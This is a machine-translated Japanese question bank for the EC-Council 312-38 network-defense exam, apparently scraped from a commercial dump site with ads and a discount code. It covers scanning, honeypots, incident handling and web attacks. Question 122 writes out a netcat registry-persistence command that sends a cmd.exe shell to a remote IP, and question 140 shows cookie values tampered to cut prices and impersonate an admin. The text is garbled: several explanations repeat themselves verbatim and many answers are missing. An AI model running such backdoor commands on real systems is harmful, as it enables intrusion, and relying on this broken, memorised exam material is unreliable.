キーネゴシエーション、暗号化、およびトラフィックの整合性チェックを備えています。TCPポート443を介したSSLの使用により、SSTPが可能になります
事実上すべてのファイアウォールとプロキシサーバーを通過します。SSTPサーバーはSSL中に認証される必要があります

段階。SSTPクライアントは、SSLフェーズ中にオプションで認証でき、で認証する必要があります。
PPPフェーズ。PPPを使用すると、EAP-TLSやMS-などの一般的な認証方法をサポートできます。CHAP。SSTPは、Windows Server 2008、Windows Vista SP1、およびそれ以降のオペレーティングシステムで使用できます。完全に
これらのオペレーティングシステムのRRASアーキテクチャと統合されているため、Winlogonまたはスマートカードで使用できます。
認証、リモートアクセスポリシー、およびWindowsVPNクライアント。
回答オプションCは正しくありません。LWAPP（Lightweight Access Point Protocol）は、複数を制御するために使用されるプロトコルです。
Wi-Fiワイヤレスアクセスポイントを一度に。これにより、構成、監視、または
大規模ネットワークのトラブルシューティング。これにより、ネットワーク管理者はネットワークを綿密に分析することもできます。

質問: **114**
次のポリシーのうち、全体的なセキュリティ体制に関する追加情報を追加するために使用され、非効率またはあいまいさから従業員と組織を保護するために使用されるのはどれですか？
A. ユーザーポリシー
B. グループポリシー
C. 問題固有のセキュリティポリシー
D. ITポリシー
正解: **C (**コメントを発表する**)**
Issue-Specific Security Policy（ISSP）は、全体的なセキュリティ体制に関する追加情報を追加するために使用されます。これは、技術システムの安全な使用について組織に指示するための詳細で的を絞ったガイダンスを提供するのに役立ちます。このポリシーは、従業員と組織を非効率性やあいまいさから保護するのに役立ちます。
回答オプションAが正しくありません。ユーザーポリシーは、ユーザーがネットワークと組織のコンピューター機器を使用するためにできることとすべきことを定義するのに役立ちます。また、ユーザーがワークステーションにプログラムをインストールできるかどうか、ユーザーが使用しているプログラムの種類、ユーザーがデータにアクセスする方法など、ネットワークを安全に保つためにユーザーに課せられる制限についても定義します。
回答オプションDが正しくありません。ITポリシーには、IT部門の一般的なポリシーが含まれます。これらのポリシーは、ネットワークの安全性と安定性を維持することを目的としています。これには次のものが含まれます。
ウイルス事件とセキュリティ事件
バックアップポリシー
クライアント更新ポリシー
サーバー構成、パッチ更新、および変更ポリシー（セキュリティ）ファイアウォールポリシー、Dmzポリシー、電子メール保持、および自動転送された電子メールポリシー回答オプションBが正しく

ありません。グループポリシーは、プログラム、ネットワークリソース、およびオペレーティングシステムが組織内のユーザーとコンピューターに対してどのように機能するかを指定します。

質問: **115**
Johnは、www.company.com Incの倫理的ハッカーとして働いています。彼は、ポートスキャナーを使用して、www.company.comのサーバーで開いているポートを見つけたいと考えています。ただし、彼は完全なTCP接続を確立することを望んでいません。このタスクを実行するために、彼は次のスキャン手法のどれを使用しますか？
A. TCP SYN
B. クリスマスツリー
C. TCP SYN / ACK
D. TCP FIN
正解: **(**正解を表示します**)**
シナリオによると、ジョンは完全なTCP接続を確立することを望んでいません。したがって、彼はTCPSYNスキャン技術を使用します。TCP SYNスキャンは、ハーフオープンスキャンとも呼ばれます。これは、このタイプのスキャンでは、完全なTCP接続が開かれないためです。TCPSYNスキャンの手順は次のとおりです。1。攻撃者はSYNパケットをターゲットポートに送信します。2.ポートが開いている場合、攻撃者はSYN/ACKメッセージを受信します。3.攻撃者は、RSTパケットを送信して接続を切断します。4. RSTパケットを受信した場合は、ポートが閉じていることを示しています。攻撃者が完全な3ウェイハンドシェイク接続を確立することはなく、ほとんどのサイトが不完全なTCP接続のログを作成しないため、このタイプのスキャンを追跡することは困難です。回答オプションCは正しくありません。TCP SYN / ACKスキャンでは、攻撃者はSYN/ACKパケットをターゲットポートに送信します。ポートが閉じている場合、被害者はこのパケットが攻撃者によって誤って送信されたと見なし、RSTパケットを攻撃者に送信します。ポートが開いている場合、SYN / ACKパケットは無視され、ポートはパケットをドロップします。TCP SYN / ACKスキャンはステルススキャンですが、一部の侵入検知システムはTCP SYN/ACKスキャンを検出できます。回答オプションDが正しくありません。TCP FINスキャンは、攻撃者がFINパケットをターゲットポートに送信するステルススキャンの一種です。ポートが閉じている場合、被害者はこのパケットが攻撃者によって誤って送信されたと見なし、RSTパケットを攻撃者に送信します。ポートが開いている場合、FINパケットは無視され、ポートはそのパケットをドロップします。TCP FINスキャンは、Windowsオペレーティングシステムがポートが開いているか閉じているかに関係なく、RSTパケットのみを送信するため、Windows以外のオペレーティングシステムのポートを識別する場合にのみ役立ちます。回答オプションBが正しくありません。クリスマスツリーのスキャンは、ヌルスキャンの正反対です。クリスマスツリースキャンでは、すべてのパケットがオンになります。ターゲットポートが開いている場合、ターゲットポートで実行されているサービスは、応答なしでパケットを破棄します。RFC 793によると、ポートが閉じている場合、リモートシステムはRSTパケットで応答します。すべての着信パケットをアクティブに監視すると、システムネットワーク管理者がクリスマスツリースキャンを検出するのに役立ちます。ターゲットポートで実行されているサービスは、応答なしでパケットを破棄します。RFC 793によると、ポートが

閉じている場合、リモートシステムはRSTパケットで応答します。すべての着信パケットをアクティブに監視すると、システムネットワーク管理者がクリスマスツリースキャンを検出するのに役立ちます。ターゲットポートで実行されているサービスは、応答なしでパケットを破棄します。RFC 793によると、ポートが閉じている場合、リモートシステムはRSTパケットで応答します。すべての着信パケットをアクティブに監視すると、システムネットワーク管理者がクリスマスツリースキャンを検出するのに役立ちます。

質問: **116**
次のハニーポットのうち、攻撃者が制限なしに実際のオペレーティングシステムにアクセスできるようにし、攻撃者に関する膨大な量の情報を収集するのはどれですか。
A. 相互作用の高いハニーポット
B. 中程度の相互作用のハニーポット
C. ハニード
D. 相互作用の少ないハニーポット
正解: **(正解を表示します)**
相互作用の高いハニーポットは、攻撃者に関する膨大な量の情報を提供します。攻撃者は制限なしに実際のオペレーティングシステムにアクセスできます。相互作用の高いハニーポットは、新しいツールを発見し、オペレーティングシステムの新しい脆弱性を特定し、ブラックハットが互いにどのように通信するかを学ぶ機会を提供する強力な武器です。
回答オプションDが正しくありません。相互作用の少ないハニーポットは、主にトランザクションデータと一部の限られた対話型情報である限られた量の情報をキャプチャします。シンプルな設計と基本的な機能により、相互作用の少ないハニーポットは、インストール、展開、保守、および構成が簡単です。相互作用の少ないハニーポットは、不正なスキャンまたは不正な接続の試行を検出します。相互作用の少ないハニーポットは、リスニングポートに限定されたサービスを提供するため、一方向の接続のようなものです。その役割は非常に受動的であり、トラフィックを変更しません。着信パケットがパターンに一致すると、ログまたはアラートを生成します。
回答オプションBが正しくありません。中程度の相互作用のハニーポットは、低相互作用のハニーポットよりも豊富な相互作用機能を提供しますが、実際の基盤となるオペレーティングシステムのターゲットを提供しません。相互作用が中程度のハニーポットのインストールと構成には、相互作用が少ないハニーポットよりも時間がかかります。また、相互作用の少ないハニーポットと比較して、展開と保守がより複雑になります。中程度の相互作用のハニーポットは、より多くの情報を収集しますが、より大きなリスクを伴います。回答オプションCは正しくありません。Honeydは、相互作用の少ないハニーポットの一例です。

質問: **117**
次の層のうち、ネットワーク通信のためにほとんどのアプリケーションで使用される高レベルのプロトコルを参照しているのはどれですか？
A. アプリケーション層
B. トランスポート層
C. インターネット層

D. リンクレイヤー
正解: **A** (コメントを発表する)

質問: **118**
次のうち、サイトの外観を変更し、深刻に変更するWebサイトへの攻撃はどれですか
ウェブサイトの信頼と評判を損なう？
A. ウェブサイト改ざん
B. ゼロデイ攻撃
C. なりすまし
D. バッファオーバーフロー
正解: **A** (コメントを発表する)
Webサイト改ざんは、Webサイトに対する攻撃であり、サイトの外観を変更します。これらは
通常、システムクラッカーの作業は、Webサーバーに侵入し、ホストされているWebサイトを次のいずれかに置き換えます。
彼ら自身。時々、改ざん者はサーバーの保守に失敗したことでシステム管理者をからかうことがあります
安全。ほとんどの場合、汚損は無害です。ただし、カバーするための気晴らしとして使用される場合があります
マルウェアのアップロードなど、より不吉な行動を起こします。
SCOグループのウェブサイトに続いて、注目を集めるウェブサイトの改ざんが行われました。
Linuxに盗まれたコードが含まれているという主張。ページのタイトルがRedHatvs.SCOからSCOに変更されました
vs.さまざまな風刺的な内容の世界。
回答オプションDが正しくありません。バッファオーバーフローは、アプリケーションが実際よりも多くのデータを受信する状態です。
受け入れるように構成されています。これは通常、アプリケーションのプログラミングエラーが原因で発生します。バッファオーバーフローは
アプリケーションを終了またはクラッシュします。
回答オプションBが正しくありません。ゼロデイ攻撃は、ゼロアワー攻撃とも呼ばれ、コンピュータの脅威です。
ソフトウェアベンダーに開示されていない、他の人には知られていないコンピュータアプリケーションの脆弱性を悪用するため。
または、セキュリティ修正が利用できない場合。ゼロデイエクスプロイト セキュリティホールを使用して実行できる実際のコード
攻撃）は、ソフトウェアベンダーが脆弱性を知る前に、攻撃者によって使用または共有されます。ユーザー
意識向上トレーニングは、このような攻撃を軽減するための最も効果的な手法です。
回答オプションCは正しくありません。なりすましは、送信が
IPアドレス、電子メールアドレス、発信者IDなどを偽造することによる本物のソース。IPスプーフィングでは、ハッカーが変更します

他人のIPアドレスを使用してその人の身元を隠すことによるパケットヘッダー。ただし、なりすましは使用できません
インターネットサーフィン中、オンラインチャット中など。送信元IPアドレスを偽造すると、次のような応答が発生するためです。
誤った方向に向けられます。

質問: **119**
次のうち、SAINTの完全な形式はどれですか？
A. システム自動統合ネットワークツール
B. セキュリティ管理者統合ネットワークツール
C. システム管理者統合ネットワークツール
D. システム管理者統合ネットワークツール
正解: **D** (コメントを発表する)
説明

質問: **120**
次のタイプの伝送のうち、単一の伝送ラインを介して一度に1ビットを送信するプロセスはどれですか？
A. ユニキャスト送信
B. シリアルデータ送信
C. マルチキャスト送信
D. 並列データ送信
正解: **B** (コメントを発表する)
シリアルデータ伝送では、1つの伝送ラインで1つのビットが次々に送信されます（ビットシリアル）。これは、ある地点から別の地点にデジタル情報を送信する最も簡単な方法です。この送信は、2人の参加者間および複数の参加者間の通信を提供するのに適しています。すべての長距離通信に使用され、高いデータレートを提供します。また、安価で長距離のデータ転送に役立ちます。回答オプションDが正しくありません。並列データ伝送では、複数のデータ信号が複数の並列チャネルを介して同時に送信されます。パラレルデータ送信は、シリアルデータ送信よりも高速です。これは主に、同じサイトのデバイス間でデータを転送するために使用されます。たとえば、コンピュータとプリンタ間の通信はほとんどの場合並列ですが、1回の操作でバイト全体を転送できるようにします。回答オプションAが正しくありません。ユニキャスト伝送方式は、単一のホストと単一の受信機の間の通信を確立するために使用されます。次の図に示すように、ユニキャストアドレスに送信されたパケットは、そのIPアドレスによって認識されるインターフェイスに配信されます。回答オプションCが正しくありません。マルチキャスト送信方式は、単一のホストと複数の受信者の間の通信を確立するために使用されます。次の図に示すように、パケットはそのIPアドレスによって認識されるすべてのインターフェイスに送信されます。次の図に示すように、回答オプションCが正しくありません。マルチキャスト送信方式は、単一のホストと複数の受信者の間の通信を確立するために使用されます。次の図に示すように、パケットはそのIPアドレスによって認識されるすべてのインターフェイスに送信されます。次の図に示すように、回答オプションCが

正しくありません。マルチキャスト送信方式は、単一のホストと複数の受信者の間の通信を確立するために使用されます。次の図に示すように、パケットはそのIPアドレスによって認識されるすべてのインターフェイスに送信されます。
ECCouncil312-38試験

質問: **121**
次の標準のうち、データ、音声、およびビデオ送信の優先順位付けを含むサービス品質（QoS）機能を提供する802.11aおよび802.11b無線LAN（WLAN）仕様の拡張案はどれですか？
A. 802.15
B. 802.11n
C. 802.11e
D. 802.11h
正解: **C** (コメントを発表する)
802.11e規格は、802.11aおよび802.11b無線LAN（WLAN）仕様の拡張案です。データ、音声、およびビデオ送信の優先順位付けを含む、サービス品質（QoS）機能を提供します。802.11eは、802.11メディアアクセス制御層（MAC層）を調整された時分割多元接続（TDMA）構造で拡張し、音声やビデオなどの遅延に敏感なアプリケーション向けのエラー修正メカニズムを追加します。回答オプションDが正しくありません。802.11hは、SpectrumおよびTransmit PowerManagementExtensionsのIEEE802.11標準に追加された修正を指します。
回答オプションBが正しくありません。802.11nは、IEEE 802.11-2007ワイヤレスネットワーク標準の修正版であり、以前の2つの標準（802.11aと802.11g）よりもネットワークスループットを向上させ、最大生データレートを54 Mbit/sから600Mbit/sに大幅に向上させています。40MHzのチャネル幅で4つの空間ストリームを使用します。回答オプションAが正しくありません。IEEE 802.15は、IEEE 802のワーキンググループであり、ワイヤレスPAN（パーソナルエリアネットワーク）標準を専門としています。これには、次の7つのタスクグループが含まれます。
1.タスクグループ1（WPAN / Bluetooth）
2.タスクグループ2（共存）
3.タスクグループ3（高レートWPAN）
4.タスクグループ4（低レートWPAN）
5.タスクグループ5（メッシュネットワーキング）
6.タスクグループ6（BAN）
7.タスクグループ7（VLC）

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセ

ス、https://www.jpntest.com/shiken/312-38-mondaishu 732問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **122**
リモートのWindowsServer2003コンピュータで次のコマンドを実行します。
c :\ reg add HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run / v nc / t REG_SZ / d "c :\ windows \ nc.exe -d 192.168.1.7 4444 -e cmd.exe "
このコマンドを実行して実行するタスクはどれですか？各正解は完全なソリューションを表しています。該当するものをすべて選択してください。
A. バナーグラブを実行したい。
B. Netcatをステルスモードにしたい。
C. WindowsレジストリにNetcatコマンドを追加します。
D. いつでもコマンドを実行するようにNetcatを設定したい。
正解: **B,C,D** (コメントを発表する)
質問によると、リモートWindowsServer2003で次のコマンドを実行します
コンピューター：
c :\ reg add HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run / v nc / t REG_SZ / d "c :\ windows \ nc.exe -d 192.168.1.7 4444 -e cmd.exe "
このコマンドを実行することにより、次のタスクを実行する必要があります。
次のレジストリ値にNetCatコマンドを追加します。
HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
-dスイッチを使用してNetcatをステルスモードにします。実行するNetcatツールの設定
-eスイッチを使用していつでもコマンドを実行できます。
回答オプションAが正しくありません。nc <host>を実行するだけで、バナーグラブを実行できます。
<ポート>。

質問: **123**
次のコマンドのどれがポートスキャンに使用されますか？
A. nc -z
B. nc -d
C. nc -t
D. nc -v
正解: (正解を表示します)

質問: **124**
次の手順のうち、サーバーのフォールトトレラントにならないのはどれですか？それぞれの正解は完全な解決策を表しています。2つ選択してください。）

A. 2台目の電源ユニットを追加する
B. サーバーの定期的なバックアップを実行します
C. サーバー上のミラーと同じサイズのディスクをもう1つ追加します
D. クラスターサーバーの機能を実装する
E. サーバーに保存されている機密データの暗号化
正解: **B,E (**コメントを発表する**)**
サーバーに保存されている機密データを暗号化し、定期的なバックアップを実行しても、サーバーのフォールトトレラントにはなりません。
フォールトトレランスは、システムでハードウェア障害が発生したときに作業を継続する機能です。フォールトトレラントシステムは、CPU、メモリ、ディスク、電源などのすべての重要なコンポーネントの倍数を同じコンピュータに組み込むことにより、信頼性を高めるためにゼロから設計されています。1つのコンポーネントに障害が発生した場合、ビートをスキップせずに別のコンポーネントが引き継ぎます。
回答オプションA、C、およびDは正しくありません。次の手順により、サーバーのフォールトトレラントが実現します。
2台目の電源ユニットを追加する
クラスタサーバー機能を実装するサーバーにミラーとして同じサイズのディスクをもう1つ追加する

質問: **125**
空白を埋める
空欄に適切な用語を記入してください。_____は完全なネットワーク構成です
マルチスレッドおよびマルチ接続テクノロジーを使用して非常に高速で、
効率的。
正解:
NetRanger
Explanation:
NetRangerは、次のツールを含む完全なネットワーク構成および情報ツールキットです。
pingツール、Trace Routeツール、Host Lookupツール、インターネットタイムシンクロナイザー、Whoisツール、Finger Unixホストツール、
ホストおよびポートスキャンツール、複数のPOP3メールアカウントツールの確認、ダイヤルアップ接続ツールの管理、見積もり
今日のツール、およびネットワーク設定ツールを監視します。これらのツールは、アプリケーションを使用するために統合されています
完全なオンラインヘルプとのインターフェース。NetRangerは、新規ユーザーと経験豊富なユーザーの両方を対象に設計されています。このツールは
ネットワークの問題を診断し、インターネット上またはインターネット上のユーザー、ホスト、およびネットワークに関する情報を取得するのに役立ちます

ユーザーコンピュータネットワーク。NetRangerは、マルチスレッドおよびマルチ接続テクノロジーを使用して
非常に高速で効率的です。

質問: **126**
次のUTPケーブルのうち、最大20MHzの伝送をサポートしているのはどれですか？
A. カテゴリー2
B. カテゴリー5e
C. カテゴリー4
D. カテゴリー1
正解: **C (**コメントを発表する**)**

質問: **127**
次のルーター構成モードのうち、端末設定を一時的に変更し、基本的なテストを実行し、システム情報を一覧表示するのはどれですか？
A. グローバル構成
B. インターフェース構成
C. 特権EXEC
D. ユーザーEXEC
正解: **(**正解を表示します**)**
ユーザEXECは、一時的な端末設定を変更するルータコンフィギュレーションモードの1つです。
基本、基本的なテストを実行し、システム情報を一覧表示します。
回答オプションCは正しくありません。特権EXECは動作パラメータを設定します。
回答オプションAが正しくありません。Global Configは、システムに影響を与える構成を変更します。
全体。
回答オプションBが正しくありません。Interface Configは、インターフェイスの動作を変更します。

質問: **128**
実験目的で予約されたIPアドレスは、次のクラスのどれに属しますか？
A. クラスC
B. クラスA
C. クラスE
D. クラスD
正解: **(**正解を表示します**)**

質問: **129**
ハニーポットと分析ツールの集中型コレクションは次のうちどれですか？
A. ハニーファーム

B. ハニーネット
C. 研究ハニーポット
D. 生産ハニーポット
正解: **A (**コメントを発表する**)**

質問: **130**
インシデント処理プロセスの6つの異なるフェーズは次のうちどれですか？それぞれの正解完全なソリューションを表します。該当するものをすべて選択してください。
A. 封じ込め
B. 識別
C. 事後レビュー
D. 準備
E. 学んだ教訓
F. 回復
G. 根絶
正解: **A,B,D,E,F,G (**コメントを発表する**)**
インシデント処理プロセスの6つの異なるフェーズは次のとおりです。
1.準備：準備は、インシデント処理プロセスの最初のステップです。バッキングなどのプロセスが含まれます
すべての重要なデータのコピーを定期的に作成し、ソフトウェアを定期的に監視および更新し、作成します
文書化されたセキュリティポリシーを実装します。このステップを適用するために、文書化されたセキュリティポリシーが策定されます
これは、インシデント発生時の信頼できる一連の指示として、さまざまなインシデントへの対応の概要を示しています。
次のリストには、インシデントハンドラーが準備フェーズ、つまり前に維持する必要がある項目が含まれています
インシデントが発生します：
適用可能なポリシーを確立する
キープレーヤーとの関係を構築する
応答キットを作成する
インシデントチェックリストを作成する
コミュニケーション計画を立てる
脅威モデリングを実行する
インシデント対応チームを構築する
デモインシデントを練習する
2.識別 :インシデント処理プロセスの識別フェーズは、インシデントが発生する段階です。
ハンドラーは、企業またはシステムのインシデントのクリティカルレベルを評価します。それは重要な段階です
イベントとインシデントの区別は、決定、測定、およびテストされます。

3.封じ込め :インシデント処理プロセスの封じ込めフェーズは、インシデントをサポートおよび構築します
戦闘プロセス。システムの安定性を確保するのに役立ち、インシデントが発生しないことも確認します
さらに悪化します。
4.根絶 :インシデント処理プロセスの根絶フェーズには、特定されたもののクリーンアップが含まれます
システムからの有害なインシデント。これには、収集された情報の分析が含まれます
攻撃がどのように行われたかを判断します。事件の再発を防ぐためには、
予防技術が適用されるように、それがどのように認められたかを認識します。
5.リカバリ :リカバリは、インシデント処理プロセスの5番目のステップです。このフェーズでは、インシデントハンドラー
システムを作業環境に戻します。リカバリフェーズでは、インシデントハンドラも機能します
システムの回復が成功したことを検証するための質問があります。これには、システムをテストして作成することが含まれます
すべてのプロセスと機能が正常に機能していることを確認してください。インシデントハンドラーは、システムを監視して
システムが再び危険にさらされていないことを確認してください。追加の攻撃の兆候を探します。
6.学んだ教訓：学んだ教訓は、インシデント処理プロセスの6番目で最後のステップです。事件ハンドラーは、インシデントの処理中に学んだ知識と経験を活用して、
インシデント処理プロセスを改善します。これは、すべてのインシデント処理プロセスの中で最も無知なステップです。たくさんの
インシデントハンドラーは、システムを通常の状態に戻し、他のシステムに追いつくために忙しくすることで安心します。
未完成の仕事。インシデントハンドラーは、インシデントに関連するドキュメントを作成するか、次の方法を探す必要があります。
プロセスを改善します。
回答オプションCは正しくありません。事後レビューは、インシデント対応プロセスのフェーズの1つです。

質問: **131**
どのNISTインシデントカテゴリに、連邦政府機関のコンピュータへのアクセスまたは識別、開いているポート、プロトコル、サービス、または後で悪用するための任意の組み合わせを求めるアクティビティが含まれていますか？
A. サービス拒否
B. 悪意のあるコード
C. 不適切な使用法
D. スキャン/プローブ/アクセスの試行
正解: **(**正解を表示します**)**

質問: **132**
次の標準のうち、論理リンク制御（LLC）を定義しているのはどれですか？
A. 802.4
B. 802.2
C. 802.3
D. 802.5
正解: **(**正解を表示します**)**

質問: **133**
ルーターを保護するための有効な手順は次のうちどれですか？それぞれの正解は完全な解決策を表しています。
該当するものをすべて選択してください。
A. ルーターの管理コンソールを覚えやすいパスワードを使用してください。
B. 不正な接続とルーティングを防ぐためにアクセスリストエントリを設定します。
C. ルーター管理コンソールの複雑なパスワードを使用します。
D. ルーターを最新のセキュリティアップデートで最新の状態に保ちます。
正解: **B,C,D (**コメントを発表する**)**

質問: **134**
次のうち、すべての着信パケットを読み取り、シグニチャまたはルールと呼ばれる疑わしいパターンを見つけようとする侵入検知システムはどれですか？
A. HIDS
B. IPS
C. DMZ
D. NIDS
正解: **(**正解を表示します**)**
ネットワーク侵入検知システム（NIDS）は、サービス拒否攻撃、ポートスキャン、さらにはネットワークトラフィックを監視することでコンピューターに侵入しようとするなど、悪意のあるアクティビティを検出しようとする侵入検知システムです。NIDSはすべての着信パケットを読み取り、シグニチャまたはルールと呼ばれる疑わしいパターンを見つけようとします。また、通常の侵入検知システムと同じ方法で、着信シェルコードを検出しようとします。
回答オプションAが正しくありません。ホストベースの侵入検知システム（HIDS）は、ユーザーとネットワークの異常な動作のために誤警報を生成します。ホストベースの侵入検知システム（HIDS）は、外部インターフェイス上のネットワークパケットではなく、コンピューティングシステムの内部を監視および分析する侵入検知システムです。ホストベースの侵入検知システム（HIDS）は、動的な動作のすべてまたは一部とコンピューターシステムの状態を監視します。HIDSは、システムの状態、RAM、ファイルシステム、ログファイル、その他の場所に保存されている情報を調べます。そして、これらの内容が期待どおりに表示されることを確認します。回答オプションBが正しくありません。侵入防止システム（IPS）は、ネットワークやシステムのアクティビティ

を監視して悪意のある動作や望ましくない動作を検出し、それらのアクティビティをブロックまたは防止するためにリアルタイムで対応できるネットワークセキュリティデバイスです。攻撃が検出されると、他のすべてのトラフィックを通過させながら、問題のあるパケットをドロップする可能性があります。
回答オプションCは正しくありません。非武装地帯（DMZ）は、組織の外部サービスを含み、より大きなネットワーク（通常はインターネット）に公開する物理的または論理的なサブネットワークです。DMZの目的は、組織のローカルエリアネットワーク（LAN）にセキュリティの層を追加することです。外部の攻撃者は、ネットワーク全体ではなく、DMZ内の機器にのみアクセスできます。DMZ内の他のホストおよび外部ネットワークとの通信は許可されていますが、DMZ内のホストは、内部ネットワーク内の特定のホストへの接続が制限されています。これにより、DMZ内のホストが内部ネットワークと外部ネットワークの両方にサービスを提供できるようになり、介在するファイアウォールがDMZサーバーと内部ネットワーククライアント間のトラフィックを制御します。DMZ構成では、

質問: **135**
次の攻撃のうち、他の人には知られていない、またはソフトウェア開発者には開示されていないコンピュータアプリケーションの脆弱性を悪用しようとするコンピュータの脅威はどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. バッファオーバーフロー
B. ゼロデイ
C. なりすまし
D. ゼロアワー
正解: **(**正解を表示します**)**
ゼロデイ攻撃は、ゼロアワー攻撃とも呼ばれ、他の人には知られていない、ソフトウェアベンダーに開示されていない、またはセキュリティ修正が利用できないコンピュータアプリケーションの脆弱性を悪用しようとするコンピュータの脅威です。ゼロデイエクスプロイト（セキュリティホールを使用して攻撃を実行できる実際のコード）は、ソフトウェアベンダーが脆弱性を知る前に、攻撃者によって使用または共有されます。ユーザー認識トレーニングは、このような攻撃を軽減するための最も効果的な手法です。回答オプションCは正しくありません。なりすましは、IPアドレス、電子メールアドレス、発信者IDなどを偽造することにより、本物の送信元から送信されたように見せかける手法です。IPなりすましでは、ハッカーは他人のIPアドレスを使用して自分のIDを隠すことでパケットヘッダーを変更します。ただし、インターネットサーフィン中はなりすましは使用できません。送信元IPアドレスを偽造すると応答が誤って送信されるため、オンラインでチャットするなど。回答オプションAが正しくありません。バッファオーバーフローは、アプリケーションが受け入れるように構成されているよりも多くのデータを受信する状態です。これは通常、アプリケーションのプログラミングエラーが原因で発生します。バッファオーバーフローは、アプリケーションを終了またはクラッシュさせる可能性があります。

質問: **136**
データロガーとコンピューター間のローカル通信を提供するデバイスは次のうちどれですか？

A. コントローラーレスモデム
B. 光モデム
C. 音響モデム
D. 短距離モデム
正解: (正解を表示します)
短距離モデムは、データロガーとRS-232シリアルポートを備えたコンピューターとの間のローカル通信を提供するデバイスです。4線式の無条件回線（2つのツイストペア）を介して最大6.5マイルのデータを送信します。
回答オプションBが正しくありません。光モデムは、コンピュータの電子信号を光ファイバで伝送するための光信号に変換するために使用されるデバイスです。また、光ファイバーケーブルからの光信号を電子信号に変換します。データ伝送に非常に大容量の光ファイバーケーブルを使用しているため、より高いデータ伝送速度を実現します。
回答オプションCは正しくありません。音響モデムは、水中での無線通信を提供します。ワイヤレス音響モデムシステムの最適なパフォーマンスは、音速、水深、サーモクラインゾーンの存在、周囲のノイズ、および季節変化によって異なります。
回答オプションAが正しくありません。コントローラレスモデムは、物理的な通信ポートコントローラ回路を持たないハードウェアベースのモデムです。WinModemまたはソフトウェアモデムとも呼ばれます。コントローラレスモデムは非常に安価で、新しいソフトウェアで簡単にアップグレードできます。

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **137**
次のうち、インターネットセキュリティの確立、改善、促進を目的とした世界的な組織はどれですか
標準？
A. ANSI
B. WASC
C. IEEE
D. ITU
正解: (正解を表示します)
Webアプリケーションセキュリティコンソーシアム（WASC）は、確立、改良、および
インターネットセキュリティ標準を推進します。WASCはベンダーに中立ですが、メンバーは企業に所属している場合があります

Webセキュリティ関連製品の研究、開発、設計、配布に携わっています。
回答オプションAが正しくありません。ANSI（American National Standards Institute）は、
米国における技術標準の開発を促進します。ANSIは業界団体と協力し、
国際標準化機構（ISO）および国際電気の米国メンバーです。
技術委員会（IEC）。ANSIの老舗コンピュータ規格には、AmericanStandardが含まれます
情報交換（ASCII）およびスモールコンピュータシステムインターフェイス（SCSI）のコード。
回答オプションDが正しくありません。国際電気通信連合（ITU）は設立された組織です
国際的な無線および電気通信を標準化および規制するため。その主なタスクには、標準化が含まれます。
無線スペクトルの割り当て、および異なる国間の相互接続の取り決めを組織化する
国際電話を許可します。ITUは、グローバルな通信ネットワークの標準を設定します。
ITUの電気通信部門（ITU-T）は、毎年200を超える標準的な推奨事項を作成しています。
電気通信、情報技術、家庭用電化製品、放送の収束分野で
およびマルチメディア通信。ITUは、次の3つのセクターに合理化されました。
ITU-D（電気通信開発）
ITU-R（無線通信）
ITU-T（電気通信標準化）
回答オプションCは正しくありません。米国電気電子技術者協会（IEEE）は、技術学会です。
専門家。それは、電気技術と関連科学の開発と応用を促進します。IEEE
他の活動の中でも、通信およびネットワーク標準を開発します。組織は番号を公開します
ジャーナルの、多くの地方支部、および専門分野の学会があります。

質問: **138**
スパマーやワームがインターネット上でスパムを生成するために使用する機能は次のうちどれですか？
A. オートコンプリート
B. SMTPリレー
C. サーバーメッセージブロック（SMB）署名
D. オートフィル
正解: **(**正解を表示します**)**
電子メールサーバーのSMTPリレー機能を使用すると、電子メールを他の電子メールサーバーに転送できます。残念ながら、これ
この機能は、スパマーやワームによって悪用され、インターネット上でスパムを生成します。

質問: **139**
次のクラスのIPアドレスのうち、ネットワークIDごとに最大254個のホストアドレスしか提供しないものはどれですか。
A. クラスD
B. クラスB
C. クラスC

D. クラスA
正解: **(**正解を表示します**)**

質問: **140**
ジョンは、クッキーで購入するアイテムのIDと価格を保存しているオンラインショップにアクセスします。攻撃者は、購入したいアイテムを選択した後、アイテムの価格を1に変更します。
元のCookie値：
ItemID1 = 2
ItemPrice1 = 900
ItemID2 = 1
ItemPrice2 = 200
変更されたCookie値：
ItemID1 = 2
ItemPrice1 = 1
ItemID2 = 1
ItemPrice2 = 1
ここで、彼は[購入]ボタンをクリックすると、合計価格を計算するサーバーに価格が送信されます。ジョンが実行しているハッキング手法は次のうちどれですか？
A. コンピュータベースのソーシャルエンジニアリング
B. 中間者攻撃
C. クッキー中毒
D. クロスサイトスクリプティング
正解: **C (**コメントを発表する**)**
ジョンはクッキー中毒を実行しています。Cookieポイズニングでは、攻撃者はCookieをサーバーに送り返す前にCookieの値を変更します。攻撃者はCookieの値を変更すると、他のユーザーアカウントにログインして、個人情報の盗難を実行する可能性があります。次の図は、Cookie中毒がどのように発生するかを説明しています。
例えば：
攻撃者は、購入するアイテムのIDと価格をCookieに保存しているオンラインショップにアクセスします。攻撃者は、購入したいアイテムを選択した後、アイテムの価格を1に変更します。
元のCookie値：
ItemID1 = 2
ItemPrice1 = 900
ItemID2 = 1
ItemPrice2 = 200
変更されたCookie値：
ItemID1 = 2
ItemPrice1 = 1
ItemID2 = 1
ItemPrice2 = 1

ここで、攻撃者が[購入]ボタンをクリックすると、合計価格を計算するサーバーに価格が送信されます。
Cookieポイズニング攻撃の別の使用法は、Cookie値のユーザー名を変更した後、別のユーザーになりすますことです。
元のCookie値：
LoggedIn = True
ユーザー名=マーク
変更されたCookie値：
LoggedIn = True
ユーザー名=管理者
これで、Cookieの値を変更した後、攻撃者は管理者ログインを実行できます。
回答オプションDが正しくありません。クロスサイトスクリプティング攻撃は、攻撃者が悪意のあるデータをWebサイトに入力する攻撃です。たとえば、攻撃者は悪意のあるコードを含むメッセージをニュースグループサイトに投稿します。
